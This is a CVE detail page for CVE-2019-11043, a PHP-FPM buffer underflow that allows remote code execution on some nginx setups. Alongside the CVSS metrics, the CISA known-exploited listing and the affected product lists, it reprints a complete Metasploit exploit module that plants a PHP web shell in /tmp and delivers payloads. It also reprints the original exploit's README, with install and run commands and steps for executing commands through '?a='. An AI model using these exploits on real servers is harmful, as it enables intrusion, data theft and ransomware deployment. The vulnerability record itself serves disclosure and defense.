CVE-2019-11043 : Detail

CVE-2019-11043

9.8
/
Critical
Overflow
96.69%V3
Network
2019-10-28
14h19 +00:00
2025-02-07
13h17 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Underflow in PHP-FPM can lead to RCE

In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it is possible to cause FPM module to write past allocated buffers into the space reserved for FCGI protocol data, thus opening the possibility of remote code execution.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-120 Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
The product copies an input buffer to an output buffer without verifying that the size of the input buffer is less than the size of the output buffer, leading to a buffer overflow.
CWE-787 Out-of-bounds Write
The product writes data past the end, or before the beginning, of the intended buffer.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 8.7 HIGH CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

High

successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Changed

An exploited vulnerability can affect resources beyond the security scope managed by the security authority of the vulnerable component. In this case, the vulnerable component and the impacted component are different and managed by different security authorities.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

V3.1 9.8 CRITICAL CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

[email protected]
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P [email protected]

CISA KEV (Known Exploited Vulnerabilities)

Vulnerability name : PHP FastCGI Process Manager (FPM) Buffer Overflow Vulnerability

Required action : Apply updates per vendor instructions.

Known To Be Used in Ransomware Campaigns : Known

Added : 2022-03-24 23h00 +00:00

Action is due : 2022-04-14 22h00 +00:00

Important information
This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 48182

Publication date : 2020-03-08 23h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, 'Name' => 'PHP-FPM Underflow RCE', 'Description' => %q( This module exploits an underflow vulnerability in versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 of PHP-FPM on Nginx. Only servers with certains Nginx + PHP-FPM configurations are exploitable. This is a port of the original neex's exploit code (see refs.). First, it detects the correct parameters (Query String Length and custom header length) needed to trigger code execution. This step determines if the target is actually vulnerable (Check method). Then, the exploit sets a series of PHP INI directives to create a file locally on the target, which enables code execution through a query string parameter. This is used to execute normal payload stagers. Finally, this module does some cleanup by killing local PHP-FPM workers (those are spawned automatically once killed) and removing the created local file. ), 'Author' => [ 'neex', # (Emil Lerner) Discovery and original exploit code 'cdelafuente-r7' # This module ], 'References' => [ ['CVE', '2019-11043'], ['EDB', '47553'], ['URL', 'https://github.com/neex/phuip-fpizdam'], ['URL', 'https://bugs.php.net/bug.php?id=78599'], ['URL', 'https://blog.orange.tw/2019/10/an-analysis-and-thought-about-recently.html'] ], 'DisclosureDate' => "2019-10-22", 'License' => MSF_LICENSE, 'Payload' => { 'BadChars' => "&>\' " }, 'Targets' => [ [ 'PHP', { 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Payload' => { 'PrependEncoder' => "php -r \"", 'AppendEncoder' => "\"" } } ], [ 'Shell Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD } ] ], 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SERVICE_RESTARTS], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] } ) ) register_options([ OptString.new('TARGETURI', [true, 'Path to a PHP page', '/index.php']) ]) register_advanced_options([ OptInt.new('MinQSL', [true, 'Minimum query string length', 1500]), OptInt.new('MaxQSL', [true, 'Maximum query string length', 1950]), OptInt.new('QSLHint', [false, 'Query string length hint']), OptInt.new('QSLDetectStep', [true, 'Query string length detect step', 5]), OptInt.new('MaxQSLCandidates', [true, 'Max query string length candidates', 10]), OptInt.new('MaxQSLDetectDelta', [true, 'Max query string length detection delta', 10]), OptInt.new('MaxCustomHeaderLength', [true, 'Max custom header length', 256]), OptInt.new('CustomHeaderLengthHint', [false, 'Custom header length hint']), OptEnum.new('DetectMethod', [true, "Detection method", 'session.auto_start', self.class.detect_methods.keys]), OptInt.new('OperationMaxRetries', [true, 'Maximum of operation retries', 20]) ]) @filename = rand_text_alpha(1) @http_param = rand_text_alpha(1) end CHECK_COMMAND = "which which" SUCCESS_PATTERN = "/bin/which" class DetectMethod attr_reader :php_option_enable, :php_option_disable def initialize(php_option_enable:, php_option_disable:, check_cb:) @php_option_enable = php_option_enable @php_option_disable = php_option_disable @check_cb = check_cb end def php_option_enabled?(res) !!@check_cb.call(res) end end def self.detect_methods { 'session.auto_start' => DetectMethod.new( php_option_enable: 'session.auto_start=1', php_option_disable: 'session.auto_start=0', check_cb: ->(res) { res.get_cookies =~ /PHPSESSID=/ } ), 'output_handler.md5' => DetectMethod.new( php_option_enable: 'output_handler=md5', php_option_disable: 'output_handler=NULL', check_cb: ->(res) { res.body.length == 16 } ) } end def send_crafted_request(path:, qsl: datastore['MinQSL'], customh_length: 1, cmd: '', allow_retry: true) uri = URI.encode(normalize_uri(target_uri.path, path)).gsub(/([?&])/, {'?'=>'%3F', '&'=>'%26'}) qsl_delta = uri.length - path.length - URI.encode(target_uri.path).length if qsl_delta.odd? fail_with Failure::Unknown, "Got odd qslDelta, that means the URL encoding gone wrong: path=#{path}, qsl_delta=#{qsl_delta}" end prefix = cmd.empty? ? '' : "#{@http_param}=#{URI.encode(cmd)}%26" qsl_prime = qsl - qsl_delta/2 - prefix.length if qsl_prime < 0 fail_with Failure::Unknown, "QSL value too small to fit the command: QSL=#{qsl}, qsl_delta=#{qsl_delta}, prefix (size=#{prefix.size})=#{prefix}" end uri = "#{uri}?#{prefix}#{'Q'*qsl_prime}" opts = { 'method' => 'GET', 'uri' => uri, 'headers' => { 'CustomH' => "x=#{Rex::Text.rand_text_alphanumeric(customh_length)}", 'Nuut' => Rex::Text.rand_text_alphanumeric(11) } } actual_timeout = datastore['HttpClientTimeout'] if datastore['HttpClientTimeout']&.> 0 actual_timeout ||= 20 connect(opts) if client.nil? || !client.conn? # By default, try to reuse an existing connection (persist option). res = client.send_recv(client.request_raw(opts), actual_timeout, true) if res.nil? && allow_retry # The server closed the connection, resend without 'persist', which forces # reconnecting. This could happen if the connection is reused too much time. # Nginx will automatically close a keepalive connection after 100 requests # by default or whatever value is set by the 'keepalive_requests' option. res = client.send_recv(client.request_raw(opts), actual_timeout) end res end def repeat_operation(op, opts={}) datastore['OperationMaxRetries'].times do |i| vprint_status("#{op}: try ##{i+1}") res = opts.empty? ? send(op) : send(op, opts) return res if res end nil end def extend_qsl_list(qsl_candidates) qsl_candidates.each_with_object([]) do |qsl, extended_qsl| (0..datastore['MaxQSLDetectDelta']).step(datastore['QSLDetectStep']) do |delta| extended_qsl << qsl - delta end end.sort.uniq end def sanity_check? datastore['OperationMaxRetries'].times do res = send_crafted_request( path: "/PHP\nSOSAT", qsl: datastore['MaxQSL'], customh_length: datastore['MaxCustomHeaderLength'] ) unless res vprint_error("Error during sanity check") return false end if res.code != @base_status vprint_error( "Invalid status code: #{res.code} (must be #{@base_status}). "\ "Maybe \".php\" suffix is required?" ) return false end detect_method = self.class.detect_methods[datastore['DetectMethod']] if detect_method.php_option_enabled?(res) vprint_error( "Detection method '#{datastore['DetectMethod']}' won't work since "\ "the PHP option has already been set on the target. Try another one" ) return false end end return true end def set_php_setting(php_setting:, qsl:, customh_length:, cmd: '') res = nil path = "/PHP_VALUE\n#{php_setting}" pos_offset = 34 if path.length > pos_offset vprint_error( "The path size (#{path.length} bytes) is larger than the allowed size "\ "(#{pos_offset} bytes). Choose a shorter php.ini value (current: '#{php_setting}')") return nil end path += ';' * (pos_offset - path.length) res = send_crafted_request( path: path, qsl: qsl, customh_length: customh_length, cmd: cmd ) unless res vprint_error("error while setting #{php_setting} for qsl=#{qsl}, customh_length=#{customh_length}") end return res end def send_params_detection(qsl_candidates:, customh_length:, detect_method:) php_setting = detect_method.php_option_enable vprint_status("Iterating until the PHP option is enabled (#{php_setting})...") customh_lengths = customh_length ? [customh_length] : (1..datastore['MaxCustomHeaderLength']).to_a qsl_candidates.product(customh_lengths) do |qsl, c_length| res = set_php_setting(php_setting: php_setting, qsl: qsl, customh_length: c_length) unless res vprint_error("Error for qsl=#{qsl}, customh_length=#{c_length}") return nil end if res.code != @base_status vprint_status("Status code #{res.code} for qsl=#{qsl}, customh_length=#{c_length}") end if detect_method.php_option_enabled?(res) php_setting = detect_method.php_option_disable vprint_status("Attack params found, disabling PHP option (#{php_setting})...") set_php_setting(php_setting: php_setting, qsl: qsl, customh_length: c_length) return { qsl: qsl, customh_length: c_length } end end return nil end def detect_params(qsl_candidates) customh_length = nil if datastore['CustomHeaderLengthHint'] vprint_status( "Using custom header length hint for max length (customh_length="\ "#{datastore['CustomHeaderLengthHint']})" ) customh_length = datastore['CustomHeaderLengthHint'] end detect_method = self.class.detect_methods[datastore['DetectMethod']] return repeat_operation( :send_params_detection, qsl_candidates: qsl_candidates, customh_length: customh_length, detect_method: detect_method ) end def send_attack_chain [ "short_open_tag=1", "html_errors=0", "include_path=/tmp", "auto_prepend_file=#{@filename}", "log_errors=1", "error_reporting=2", "error_log=/tmp/#{@filename}", "extension_dir=\"<?=`\"", "extension=\"$_GET[#{@http_param}]`?>\"" ].each do |php_setting| vprint_status("Sending php.ini setting: #{php_setting}") res = set_php_setting( php_setting: php_setting, qsl: @params[:qsl], customh_length: @params[:customh_length], cmd: "/bin/sh -c '#{CHECK_COMMAND}'" ) if res return res if res.body.include?(SUCCESS_PATTERN) else print_error("Error when setting #{php_setting}") return nil end end return nil end def send_payload disconnect(client) if client&.conn? send_crafted_request( path: '/', qsl: @params[:qsl], customh_length: @params[:customh_length], cmd: payload.encoded, allow_retry: false ) Rex.sleep(1) return session_created? ? true : nil end def send_backdoor_cleanup cleanup_command = ";echo '<?php echo `$_GET[#{@http_param}]`;return;?>'>/tmp/#{@filename}" res = send_crafted_request( path: '/', qsl: @params[:qsl], customh_length: @params[:customh_length], cmd: cleanup_command + ';' + CHECK_COMMAND ) return res if res&.body.include?(SUCCESS_PATTERN) return nil end def detect_qsl qsl_candidates = [] (datastore['MinQSL']..datastore['MaxQSL']).step(datastore['QSLDetectStep']) do |qsl| res = send_crafted_request(path: "/PHP\nabcdefghijklmopqrstuv.php", qsl: qsl) unless res vprint_error("Error when sending query with QSL=#{qsl}") next end if res.code != @base_status vprint_status("Status code #{res.code} for qsl=#{qsl}, adding as a candidate") qsl_candidates << qsl end end qsl_candidates end def check print_status("Sending baseline query...") res = send_crafted_request(path: "/path\ninfo.php") return CheckCode::Unknown("Error when sending baseline query") unless res @base_status = res.code vprint_status("Base status code is #{@base_status}") if datastore['QSLHint'] print_status("Skipping qsl detection, using hint (qsl=#{datastore['QSLHint']})") qsl_candidates = [datastore['QSLHint']] else print_status("Detecting QSL...") qsl_candidates = detect_qsl end if qsl_candidates.empty? return CheckCode::Detected("No qsl candidates found, not vulnerable or something went wrong") end if qsl_candidates.size > datastore['MaxQSLCandidates'] return CheckCode::Detected("Too many qsl candidates found, looks like I got banned") end print_good("The target is probably vulnerable. Possible QSLs: #{qsl_candidates}") qsl_candidates = extend_qsl_list(qsl_candidates) vprint_status("Extended QSL list: #{qsl_candidates}") print_status("Doing sanity check...") return CheckCode::Detected('Sanity check failed') unless sanity_check? print_status("Detecting attack parameters...") @params = detect_params(qsl_candidates) return CheckCode::Detected('Unable to detect parameters') unless @params print_good("Parameters found: QSL=#{@params[:qsl]}, customh_length=#{@params[:customh_length]}") print_good("Target is vulnerable!") CheckCode::Vulnerable ensure disconnect(client) if client&.conn? end def exploit unless check == CheckCode::Vulnerable fail_with Failure::NotVulnerable, 'Target is not vulnerable.' end if @params[:qsl].nil? || @params[:customh_length].nil? fail_with Failure::NotVulnerable, 'Attack parameters not found' end print_status("Performing attack using php.ini settings...") if repeat_operation(:send_attack_chain) print_good("Success! Was able to execute a command by appending '#{CHECK_COMMAND}'") else fail_with Failure::Unknown, 'Failed to send the attack chain' end print_status("Trying to cleanup /tmp/#{@filename}...") if repeat_operation(:send_backdoor_cleanup) print_good('Cleanup done!') end print_status("Sending payload...") repeat_operation(:send_payload) end def send_cleanup(cleanup_cmd:) res = send_crafted_request( path: '/', qsl: @params[:qsl], customh_length: @params[:customh_length], cmd: cleanup_cmd ) return res if res && res.code != @base_status return nil end def cleanup return unless successful kill_workers = 'for p in `pidof php-fpm`; do kill -9 $p;done' rm = "rm -f /tmp/#{@filename}" cleanup_cmd = kill_workers + ';' + rm disconnect(client) if client&.conn? print_status("Remove /tmp/#{@filename} and kill workers...") if repeat_operation(:send_cleanup, cleanup_cmd: cleanup_cmd) print_good("Done!") else print_bad( "Could not cleanup. Run these commands before terminating the session: "\ "#{kill_workers}; #{rm}" ) end end end
Exploit Database EDB-ID : 47553

Publication date : 2019-10-27 23h00 +00:00
Author : Emil Lerner
EDB Verified : No

# PHuiP-FPizdaM ## What's this This is an exploit for a bug in php-fpm (CVE-2019-11043). In certain nginx + php-fpm configurations, the bug is possible to trigger from the outside. This means that a web user may get code execution if you have vulnerable config (see [below](#the-full-list-of-preconditions)). ## What's vulnerable If a webserver runs nginx + php-fpm and nginx have a configuration like ``` location ~ [^/]\.php(/|$) { ... fastcgi_split_path_info ^(.+?\.php)(/.*)$; fastcgi_param PATH_INFO $fastcgi_path_info; fastcgi_pass php:9000; ... } ``` which also lacks any script existence checks (like `try_files`), then you can probably hack it with this sploit. #### The full list of preconditions 1. Nginx + php-fpm, `location ~ [^/]\.php(/|$)` must be forwarded to php-fpm (maybe the regexp can be stricter, see [#1](https://github.com/neex/phuip-fpizdam/issues/1)). 2. The `fastcgi_split_path_info` directive must be there and contain a regexp starting with `^` and ending with `$`, so we can break it with a newline character. 3. There must be a `PATH_INFO` variable assignment via statement `fastcgi_param PATH_INFO $fastcgi_path_info;`. At first, we thought it is always present in the `fastcgi_params` file, but it's not true. 4. No file existence checks like `try_files $uri =404` or `if (-f $uri)`. If Nginx drops requests to non-existing scripts before FastCGI forwarding, our requests never reach php-fpm. Adding this is also the easiest way to patch. 5. This exploit works only for PHP 7+, but the bug itself is present in earlier versions (see [below](#about-php5)). ## Isn't this known to be vulnerable for years? A long time ago php-fpm didn't restrict the extensions of the scripts, meaning that something like `/avatar.png/some-fake-shit.php` could execute `avatar.png` as a PHP script. This issue was fixed around 2010. The current one doesn't require file upload, works in the most recent versions (until the fix has landed), and, most importantly, the exploit is much cooler. ## How to run Install it using ``` go get github.com/neex/phuip-fpizdam ``` If you get strange compilation errors, make sure you're using go >= 1.13. Run the program using `phuip-fpizdam [url]` (assuming you have the `$GOPATH/bin` inside your `$PATH`, otherwise specify the full path to the binary). Good output looks like this: ``` 2019/10/01 02:46:15 Base status code is 200 2019/10/01 02:46:15 Status code 500 for qsl=1745, adding as a candidate 2019/10/01 02:46:15 The target is probably vulnerable. Possible QSLs: [1735 1740 1745] 2019/10/01 02:46:16 Attack params found: --qsl 1735 --pisos 126 --skip-detect 2019/10/01 02:46:16 Trying to set "session.auto_start=0"... 2019/10/01 02:46:16 Detect() returned attack params: --qsl 1735 --pisos 126 --skip-detect <-- REMEMBER THIS 2019/10/01 02:46:16 Performing attack using php.ini settings... 2019/10/01 02:46:40 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs 2019/10/01 02:46:40 Trying to cleanup /tmp/a... 2019/10/01 02:46:40 Done! ``` After this, you can start appending `?a=<your command>` to all PHP scripts (you may need multiple retries). ## Playground environment If you want to reproduce the issue or play with the exploit locally, do the following: 1. Clone this repo and go to the `reproducer` directory. 2. Create the docker image using `docker build -t reproduce-cve-2019-11043 .`. It takes a long time as it internally clones the php repository and builds it from the source. However, it will be easier this way if you want to debug the exploit. The revision built is the one right before the fix. 2. Run the docker using `docker run --rm -ti -p 8080:80 reproduce-cve-2019-11043`. 3. Now you have http://127.0.0.1:8080/script.php, which is an empty file. 4. Run the exploit using `phuip-fpizdam http://127.0.0.1:8080/script.php` 5. If everything is ok, you'll be able to execute commands by appending `?a=` to the script: http://127.0.0.1:8080/script.php?a=id. Try multiple times as only some of php-fpm workers are infected. ## About PHP5 The buffer underflow in php-fpm is present in PHP version 5. However, this exploit makes use of an optimization used for storing FastCGI variables, [_fcgi_data_seg](https://github.com/php/php-src/blob/5d6e923/main/fastcgi.c#L186). This optimization is present only in php 7, so this particular exploit works only for php 7. There might be another exploitation technique that works in php 5. ## Credits Original anomaly discovered by [d90pwn](https://twitter.com/d90pwn) during Real World CTF. Root clause found by me (Emil Lerner) as well as the way to set php.ini options. Final php.ini options set is found by [beched](https://twitter.com/ahack_ru). EDB Note: Download ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47553.zip

Products Mentioned

Configuraton 0

Php>>Php >> Version From (including) 7.1.0 To (excluding) 7.1.33

Php>>Php >> Version From (including) 7.2.0 To (excluding) 7.2.24

Php>>Php >> Version From (including) 7.3.0 To (excluding) 7.3.11

Configuraton 0

Canonical>>Ubuntu_linux >> Version 12.04

Canonical>>Ubuntu_linux >> Version 14.04

Canonical>>Ubuntu_linux >> Version 16.04

Canonical>>Ubuntu_linux >> Version 18.04

Canonical>>Ubuntu_linux >> Version 19.04

Canonical>>Ubuntu_linux >> Version 19.10

Configuraton 0

Debian>>Debian_linux >> Version 9.0

Debian>>Debian_linux >> Version 10.0

Configuraton 0

Fedoraproject>>Fedora >> Version 29

Fedoraproject>>Fedora >> Version 30

Fedoraproject>>Fedora >> Version 31

Configuraton 0

Tenable>>Tenable.sc >> Version To (excluding) 5.19.0

Configuraton 0

Redhat>>Software_collections >> Version 1.0

Redhat>>Enterprise_linux >> Version 8.0

Redhat>>Enterprise_linux_desktop >> Version 6.0

Redhat>>Enterprise_linux_desktop >> Version 7.0

Redhat>>Enterprise_linux_eus >> Version 7.7

Redhat>>Enterprise_linux_eus >> Version 8.1

Redhat>>Enterprise_linux_eus >> Version 8.2

Redhat>>Enterprise_linux_eus >> Version 8.4

Redhat>>Enterprise_linux_eus >> Version 8.6

Redhat>>Enterprise_linux_eus >> Version 8.8

Redhat>>Enterprise_linux_eus_compute_node >> Version 7.7

Redhat>>Enterprise_linux_for_arm_64 >> Version 8.0_aarch64

Redhat>>Enterprise_linux_for_arm_64_eus >> Version 8.1_aarch64

Redhat>>Enterprise_linux_for_arm_64_eus >> Version 8.2_aarch64

Redhat>>Enterprise_linux_for_arm_64_eus >> Version 8.4_aarch64

Redhat>>Enterprise_linux_for_arm_64_eus >> Version 8.6_aarch64

Redhat>>Enterprise_linux_for_arm_64_eus >> Version 8.8_aarch64

Redhat>>Enterprise_linux_for_ibm_z_systems >> Version 6.0_s390x

Redhat>>Enterprise_linux_for_ibm_z_systems >> Version 7.0_s390x

Redhat>>Enterprise_linux_for_ibm_z_systems >> Version 8.0_s390x

Redhat>>Enterprise_linux_for_ibm_z_systems_eus >> Version 7.7_s390x

Redhat>>Enterprise_linux_for_ibm_z_systems_eus >> Version 8.1_s390x

Redhat>>Enterprise_linux_for_ibm_z_systems_eus >> Version 8.2_s390x

Redhat>>Enterprise_linux_for_ibm_z_systems_eus >> Version 8.4_s390x

Redhat>>Enterprise_linux_for_ibm_z_systems_eus >> Version 8.6_s390x

Redhat>>Enterprise_linux_for_ibm_z_systems_eus >> Version 8.8_s390x

Redhat>>Enterprise_linux_for_power_big_endian >> Version 6.0_ppc64

Redhat>>Enterprise_linux_for_power_big_endian >> Version 7.0_ppc64

Redhat>>Enterprise_linux_for_power_big_endian_eus >> Version 7.7_ppc64

Redhat>>Enterprise_linux_for_power_little_endian >> Version 7.0_ppc64le

Redhat>>Enterprise_linux_for_power_little_endian >> Version 8.0_ppc64le

Redhat>>Enterprise_linux_for_power_little_endian_eus >> Version 7.7_ppc64le

  • Redhat>>Enterprise_linux_for_power_little_endian_eus >> Version 7.7_ppc64le (Open CPE detail)

Redhat>>Enterprise_linux_for_power_little_endian_eus >> Version 8.1_ppc64le

  • Redhat>>Enterprise_linux_for_power_little_endian_eus >> Version 8.1_ppc64le (Open CPE detail)

Redhat>>Enterprise_linux_for_power_little_endian_eus >> Version 8.2_ppc64le

  • Redhat>>Enterprise_linux_for_power_little_endian_eus >> Version 8.2_ppc64le (Open CPE detail)

Redhat>>Enterprise_linux_for_power_little_endian_eus >> Version 8.4_ppc64le

  • Redhat>>Enterprise_linux_for_power_little_endian_eus >> Version 8.4_ppc64le (Open CPE detail)

Redhat>>Enterprise_linux_for_power_little_endian_eus >> Version 8.6_ppc64le

  • Redhat>>Enterprise_linux_for_power_little_endian_eus >> Version 8.6_ppc64le (Open CPE detail)

Redhat>>Enterprise_linux_for_power_little_endian_eus >> Version 8.8_ppc64le

  • Redhat>>Enterprise_linux_for_power_little_endian_eus >> Version 8.8_ppc64le (Open CPE detail)

Redhat>>Enterprise_linux_for_scientific_computing >> Version 7.0

Redhat>>Enterprise_linux_server >> Version 6.0

Redhat>>Enterprise_linux_server >> Version 7.0

Redhat>>Enterprise_linux_server_aus >> Version 7.7

Redhat>>Enterprise_linux_server_aus >> Version 8.2

Redhat>>Enterprise_linux_server_aus >> Version 8.4

Redhat>>Enterprise_linux_server_aus >> Version 8.6

Redhat>>Enterprise_linux_server_tus >> Version 7.7

Redhat>>Enterprise_linux_server_tus >> Version 8.2

Redhat>>Enterprise_linux_server_tus >> Version 8.4

Redhat>>Enterprise_linux_server_tus >> Version 8.6

Redhat>>Enterprise_linux_server_tus >> Version 8.8

Redhat>>Enterprise_linux_workstation >> Version 6.0

Redhat>>Enterprise_linux_workstation >> Version 7.0

References

https://bugs.php.net/bug.php?id=78599
Tags : x_refsource_CONFIRM
https://usn.ubuntu.com/4166-1/
Tags : vendor-advisory, x_refsource_UBUNTU
https://www.debian.org/security/2019/dsa-4552
Tags : vendor-advisory, x_refsource_DEBIAN
https://www.debian.org/security/2019/dsa-4553
Tags : vendor-advisory, x_refsource_DEBIAN
https://usn.ubuntu.com/4166-2/
Tags : vendor-advisory, x_refsource_UBUNTU
https://access.redhat.com/errata/RHSA-2019:3286
Tags : vendor-advisory, x_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2019:3287
Tags : vendor-advisory, x_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2019:3299
Tags : vendor-advisory, x_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2019:3300
Tags : vendor-advisory, x_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2019:3724
Tags : vendor-advisory, x_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2019:3735
Tags : vendor-advisory, x_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2019:3736
Tags : vendor-advisory, x_refsource_REDHAT
https://support.apple.com/kb/HT210919
Tags : x_refsource_CONFIRM
https://seclists.org/bugtraq/2020/Jan/44
Tags : mailing-list, x_refsource_BUGTRAQ
